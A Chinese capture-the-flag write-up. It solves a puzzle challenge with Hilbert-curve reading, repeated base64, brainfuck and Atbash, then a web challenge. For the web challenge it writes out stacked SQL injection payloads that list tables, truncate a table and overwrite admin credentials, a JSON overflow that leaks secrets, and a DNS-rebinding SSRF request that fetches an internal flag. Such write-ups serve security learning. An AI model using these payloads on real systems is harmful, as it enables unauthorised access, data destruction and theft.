【WP】第一届“长城杯”网络安全大赛线上赛

hint.txt是十六进制的文件内容，用xxd指令转为文本

xxd -r hint.txt 

password被base64编码了25次，编码后的前16个字符为Vm0wd2QyUXlVWGxW

而这16个字符在password.xls文件中有，顺序如下：

这是2阶伪希尔伯特曲线的图形，而整个xls文件总共有256*256个字符。到这思路也清晰了，需要我们根据8阶(2^8=256)伪希尔伯特曲线的图形，依次读取xls文件中的字符，然后进行25次base64次解码，即可拿到解压密码

8阶伪希尔伯特曲线：p5.js Web Editor | Cabana 3: Hilbert Curve (p5js.org)(https://editor.p5js.org/codingtrain/sketches/LPf9PLmp)

脚本部分参考：希尔伯特曲线及性质的形式化理解(https://www.cnblogs.com/zzdyyy/p/7636474.html)

import xlrd
import base64

wb = xlrd.open_workbook("password.xls")
sh = wb.sheet_by_name('sheet')

# 生成希尔伯特曲线的坐标  order为阶数
row = sh.nrows
order = 0
while row >= 2:
    row = row/2
    order += 1
phc = [[[0,0]]]
for o in range(order):
    new_phc = []
    new_phc += [[y, x] for x, y in phc[o]]
    new_phc += [[x, y + 2**o] for x, y in phc[o]]
    new_phc += [[x + 2**o, y + 2**o] for x, y in phc[o]]
    new_phc += [[2**o - 1 - y + 2**o, 2**o - 1 - x] for x, y in phc[o]]
    phc.append(new_phc)
final_phc = phc[-1]
print('成功生成%s阶伪希尔伯特曲线' % order)

password = ''
for coordinate in final_phc:
    row = coordinate[1]
    col = coordinate[0]
    password += sh.cell_value(row, col)
print('成功读取excel')

for i in range(25):
    password = base64.b64decode(password.encode('utf-8')).decode('utf-8')
print(password)

这样便可以得到flag.rar的解压密码：

1f_y0u_h4ve_7he_fllllllag,_I_muSt_vvant_1t!

解压后根据文件内容可以识别到，这是brainfuck语言的语法，如果直接运行，则只输出

error

分析下代码可以知道，并没有将存储的字符全部输出，而是只输出后面的error，获取内存中存储的ASCII值，然后转为字符

flag = [117, 111, 122, 116, 123, 83, 114, 82, 121, 118, 105, 103, 95, 88, 102, 105, 101, 118, 98, 49, 72, 95, 52, 95, 101, 101, 48, 109, 119, 118, 105, 117, 102, 33, 95, 120, 102, 105, 101, 118, 125, 101, 114, 114, 111, 114]
for num in flag:
    print(chr(num), end='')

uozt{SrRyvig_Xfievb1H_4_ee0mwviuf!_xfiev}error

根据flag的格式：flag{与uozt{进行比较可以知道，这是埃特巴什码，即最后一个字母代表第一个字母，倒数第二个字母代表第二个字母，而题目说明注意flag大小写，所以编写脚本进行解密。

import string

flag = 'uozt{SrRyvig_Xfievb1H_4_ee0mwviuf!_xfiev}'

# 替换指定位置的字符
def myreplace(old_s, char, index):
    new_s = old_s[:index] + char + old_s[index+1:]
    return new_s

# 埃特巴什码  解密
lowercase = string.ascii_lowercase
uppercase = string.ascii_uppercase
for i in range(len(flag)):
    if flag[i] in lowercase:
        char = lowercase[25 - lowercase.find(flag[i])]
        flag = myreplace(flag, char, i)
    elif flag[i] in uppercase:
        char = uppercase[25 - uppercase.find(flag[i])]
        flag = myreplace(flag, char, i)
    else:
        pass
print(flag)

注表名

username=fake_admin&password=';show tables;&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
//array(1) {
  [0]=>
  string(10) "fake_admin"
}

array(1) {
  [0]=>
  string(27) "real_admin_here_do_you_find"
}

显示表结构：

username=fake_admin&password=';show create table real_admin_here_do_you_find;&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
//array(2) {
  [0]=>
  string(27) "real_admin_here_do_you_find"
  [1]=>
  string(241) "CREATE TABLE `real_admin_here_do_you_find` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `yourname` varchar(32) DEFAULT NULL,
  `password` varchar(32) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4"
}

清空表：

username=fake_admin&password=';truncate table real_admin_here_do_you_find;&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

修改密码：

username=fake_admin&password=';replace real_admin_here_do_you_find value('1','admin_inner','admin');&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

改完用admin_inner/admin去登陆即可。

登陆admin后进入adminsapi.php拿到源码进行审计：

<?php 
session_start();
error_reporting(0);
if($_SESSION['username']!='admin_inner'){
 die("Only admin_inner");
}else if(isset($_GET['action'])){
 $action = $_GET['action'];
}else{
 show_source(__FILE__);
}

function curlNet($route,$payload=null){
 $url = 'http://127.0.0.1:18888/'.$route;
 $ch = curl_init($url);
 curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
 if($payload!==null){
  curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
 }
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $result = curl_exec($ch);
 curl_close($ch); 
 return(@$result?$result:'false');
}

function curlNetAll($url,$payload=null){
 $ch = curl_init($url);
 curl_setopt($ch, CURLOPT_HTTPHEADER);
 if($payload!==null){
  curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
 }
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $result = curl_exec($ch);
 curl_close($ch); 
 return(@$result?$result:'false');
}

switch ($action) 
{
 case "index":
  $content = curlNet("index");
  echo $content;
  break;
 case "download":
  header('Content-Type: text/plain');
  header('Content-Disposition: attachment; filename="../internal.py');
  $handle = fopen("../internal.py", 'rb');
  while (!feof($handle) ) { 
   echo fread($handle, "1024");
  }
  fclose($handle);
  break;
 case "secrets":
  $data = file_get_contents("php://input");
  $data = json_decode($data,true);
  if(!is_array($data)) die("don't try.");
  $content = curlNet("secrets",json_encode(array($data)));
  $res = @$content?$content:'false';
  echo($res);
  break;
 case "curl":
  $secrets = file_get_contents("/85ae29dcb6794b9747c04d09948f6480.txt");
  $data = file_get_contents("php://input");
  $data = json_decode($data,true);
  if(!is_array($data)) die("don't try.");
  if($secrets!==$data["secrets"]) die("get the secrets first");
  $url = $data["url"];
  $res = parse_url($url);
  $ip = dns_get_record($res['host'], DNS_A)[0]['ip'];
  if(stripos($ip,"127")||stripos($ip,"0.0.0")||stripos($ip,"@")||stripos($ip,"0x")) die("no!");
  echo curlNetAll($url);
  break;
 default:
  die("no others");
  break;

}
?>

18888端口还有一个py运行的程序，download下来源码：

/adminsapi.php?action=download

py文件:

from flask import Flask,request
import json

app = Flask(__name__)

@app.route('/')
@app.route('/index')
def home():
    return "admin's api"

@app.route('/secrets', methods=['GET', 'POST'])
def secrets():
    if request.method == 'POST':
        myJson = json.loads(request.data)[0]
        if(myJson['secrets'] in open('/85ae29dcb6794b9747c04d09948f6480.txt').read().split('n')):
            return json.dumps(True)
        else:
            return json.dumps(False)
    else:
        return "nothing"

@app.errorhandler(500)
def internal_error(error):
 return str(open('/85ae29dcb6794b9747c04d09948f6480.txt').read().split('n'))

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    return str(open('/flag').read().split('n'))

app.run(host='127.0.0.1', port=18888)

secrets处用一个json溢出导致json_decode为false的trick让flask爆出500错误：

{"secrets":3.3e99999999999999}

flask报500错误会出secrets:

curl处代码很明显一处dns重绑定，用一些dns重绑定根据或者ceye都行，带着前面拿到的secrets用dns重绑定打18888端口的flag路径即可：

url:
/adminsapi.php?action=curl

json:
{"url":"http://r.xxxxx.ceye.io:18888/flag","secrets":"00b252ba3f52a539ef90e7254f2d9874"}

getflag。